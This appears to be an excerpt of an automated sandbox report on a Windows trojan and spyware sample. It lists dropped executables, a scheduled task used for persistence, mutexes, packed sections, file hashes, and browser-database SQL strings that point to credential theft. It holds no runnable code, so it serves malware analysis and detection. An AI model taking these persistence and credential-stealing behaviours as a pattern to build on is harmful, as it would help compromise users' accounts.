Source: 4172e6dca8.exe.10.dr	Static PE information: section name:
Source: random[1].exe1.10.dr	Static PE information: section name:
Source: random[1].exe1.10.dr	Static PE information: section name: .idata
Source: 081eb93126.exe.10.dr	Static PE information: section name:
Source: 081eb93126.exe.10.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C8162C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C8162C0

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69AC60	0_2_6C69AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76AC30	0_2_6C76AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756C00	0_2_6C756C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68ECC0	0_2_6C68ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EECD0	0_2_6C6EECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75ED70	0_2_6C75ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BAD50	0_2_6C7BAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81CDC0	0_2_6C81CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C818D20	0_2_6C818D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694DB0	0_2_6C694DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726D90	0_2_6C726D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72EE70	0_2_6C72EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C770E20	0_2_6C770E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69AEC0	0_2_6C69AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730EC0	0_2_6C730EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C716E90	0_2_6C716E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C752F70	0_2_6C752F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FEF40	0_2_6C6FEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0F20	0_2_6C7D0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696F10	0_2_6C696F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76EFF0	0_2_6C76EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690FE0	0_2_6C690FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8FB0	0_2_6C7D8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69EFB0	0_2_6C69EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764840	0_2_6C764840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E0820	0_2_6C6E0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A820	0_2_6C71A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7968E0	0_2_6C7968E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C8960	0_2_6C6C8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6900	0_2_6C6E6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AC9E0	0_2_6C7AC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C49F0	0_2_6C6C49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7509B0	0_2_6C7509B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7209A0	0_2_6C7209A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A9A0	0_2_6C74A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70CA70	0_2_6C70CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C748A30	0_2_6C748A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73EA00	0_2_6C73EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70EA80	0_2_6C70EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796BE0	0_2_6C796BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730BA0	0_2_6C730BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8460	0_2_6C6A8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A430	0_2_6C71A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F4420	0_2_6C6F4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A4D0	0_2_6C72A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D64D0	0_2_6C6D64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA480	0_2_6C7BA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730570	0_2_6C730570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F2560	0_2_6C6F2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8550	0_2_6C7D8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E8540	0_2_6C6E8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C794540	0_2_6C794540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71E5F0	0_2_6C71E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75A5E0	0_2_6C75A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6845B0	0_2_6C6845B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EC650	0_2_6C6EC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE6E0	0_2_6C6EE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72E6E0	0_2_6C72E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B46D0	0_2_6C6B46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710700	0_2_6C710700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA7D0	0_2_6C6BA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DE070	0_2_6C6DE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758010	0_2_6C758010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75C000	0_2_6C75C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C0B0	0_2_6C76C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A00B0	0_2_6C6A00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688090	0_2_6C688090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8140	0_2_6C6F8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706130	0_2_6C706130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C774130	0_2_6C774130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6901E0	0_2_6C6901E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718260	0_2_6C718260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728250	0_2_6C728250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8162C0	0_2_6C8162C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768220	0_2_6C768220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75A210	0_2_6C75A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75E2B0	0_2_6C75E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7622A0	0_2_6C7622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726370	0_2_6C726370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D2370	0_2_6C7D2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C692370	0_2_6C692370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AC360	0_2_6C7AC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698340	0_2_6C698340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C702320	0_2_6C702320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E43E0	0_2_6C6E43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C23A0	0_2_6C6C23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE3B0	0_2_6C6EE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693C40	0_2_6C693C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B9C40	0_2_6C7B9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1C30	0_2_6C6A1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C751CE0	0_2_6C751CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CDCD0	0_2_6C7CDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72FC80	0_2_6C72FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F3D00	0_2_6C6F3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C761DC0	0_2_6C761DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C683D80	0_2_6C683D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D9D90	0_2_6C7D9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EBE70	0_2_6C7EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79DE10	0_2_6C79DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3EC0	0_2_6C6B3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C815E60	0_2_6C815E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C813FC0	0_2_6C813FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C5F20	0_2_6C6C5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C685F30	0_2_6C685F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E7F20	0_2_6C7E7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BFF0	0_2_6C73BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7ADFC0	0_2_6C7ADFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1F90	0_2_6C6B1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ED810	0_2_6C6ED810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76F8F0	0_2_6C76F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D8E0	0_2_6C69D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C38E0	0_2_6C6C38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EB8F0	0_2_6C7EB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F8C0	0_2_6C72F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70F960	0_2_6C70F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74D960	0_2_6C74D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C745920	0_2_6C745920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DF900	0_2_6C7DF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7279F0	0_2_6C7279F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F59F0	0_2_6C6F59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7299C0	0_2_6C7299C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C99D0	0_2_6C6C99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C761990	0_2_6C761990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1980	0_2_6C6A1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78DA30	0_2_6C78DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C731A10	0_2_6C731A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CFA10	0_2_6C6CFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C691AE0	0_2_6C691AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76DAB0	0_2_6C76DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C819A50	0_2_6C819A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76FB60	0_2_6C76FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DBB20	0_2_6C6DBB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D7BF0	0_2_6C6D7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C759BB0	0_2_6C759BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E9BA0	0_2_6C6E9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C775B90	0_2_6C775B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681B80	0_2_6C681B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8114A0	0_2_6C8114A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C779430	0_2_6C779430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71D410	0_2_6C71D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6914E0	0_2_6C6914E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DF510	0_2_6C7DF510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F7500	0_2_6C6F7500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5510	0_2_6C6A5510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7155F0	0_2_6C7155F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C9590	0_2_6C6C9590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E5640	0_2_6C6E5640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9650	0_2_6C6A9650
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D178BB	9_2_00D178BB
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D17049	9_2_00D17049
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D18860	9_2_00D18860
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D131A8	9_2_00D131A8
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00CD4B30	9_2_00CD4B30
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00CD4DE0	9_2_00CD4DE0
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D12D10	9_2_00D12D10
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D1779B	9_2_00D1779B
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D07F36	9_2_00D07F36
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0040104F	11_2_0040104F
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003FEC20	11_2_003FEC20
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003FE1A0	11_2_003FE1A0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003FF755	11_2_003FF755
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_00435040	11_2_00435040
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_00400460	11_2_00400460
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0040E07E	11_2_0040E07E
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F5000	11_2_003F5000
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0040D010	11_2_0040D010
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0040CC20	11_2_0040CC20
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0040E837	11_2_0040E837
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0042B0F0	11_2_0042B0F0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0040ED48	11_2_0040ED48
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3930	11_2_003F3930
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F6D10	11_2_003F6D10
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_00411100	11_2_00411100
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003FBD50	11_2_003FBD50
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_004339C0	11_2_004339C0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003FADB0	11_2_003FADB0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_004065D7	11_2_004065D7
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F91E9	11_2_003F91E9
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_00406997	11_2_00406997
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_004179B0	11_2_004179B0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_00403E45	11_2_00403E45
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_00404A4C	11_2_00404A4C
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0040FA4F	11_2_0040FA4F
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886	11_2_003F3886
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003FA260	11_2_003FA260
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003FDA80	11_2_003FDA80
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F8EF0	11_2_003F8EF0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0042AE90	11_2_0042AE90
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_00433A90	11_2_00433A90
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F7B67	11_2_003F7B67
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003FDF60	11_2_003FDF60
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0041AB20	11_2_0041AB20
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0041CBD0	11_2_0041CBD0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0040D7F8	11_2_0040D7F8
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F9FF5	11_2_003F9FF5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E178BB	12_2_00E178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E18860	12_2_00E18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E17049	12_2_00E17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E131A8	12_2_00E131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00DD4B30	12_2_00DD4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00DD4DE0	12_2_00DD4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E12D10	12_2_00E12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E1779B	12_2_00E1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E07F36	12_2_00E07F36

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: String function: 00CE80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: String function: 003FE190 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: String function: 003FC890 appears 37 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6B3620 appears 95 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7C9F30 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C81D930 appears 62 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6B9B10 appears 107 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6EC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C81DAE0 appears 78 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8109D0 appears 323 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00DE80C0 appears 130 times

Source: file.exe, 00000000.00000002.2101564670.000000006F902000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: guahhyfc ZLIB complexity 0.9945731069990709
Source: random[1].exe0.10.dr	Static PE information: Section: guahhyfc ZLIB complexity 0.9945731069990709
Source: 4172e6dca8.exe.10.dr	Static PE information: Section: guahhyfc ZLIB complexity 0.9945731069990709

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@45/35@35/13

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6F0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C6F0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\S34OC7LR.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2672:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1864690398.000000001DB79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097701422.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
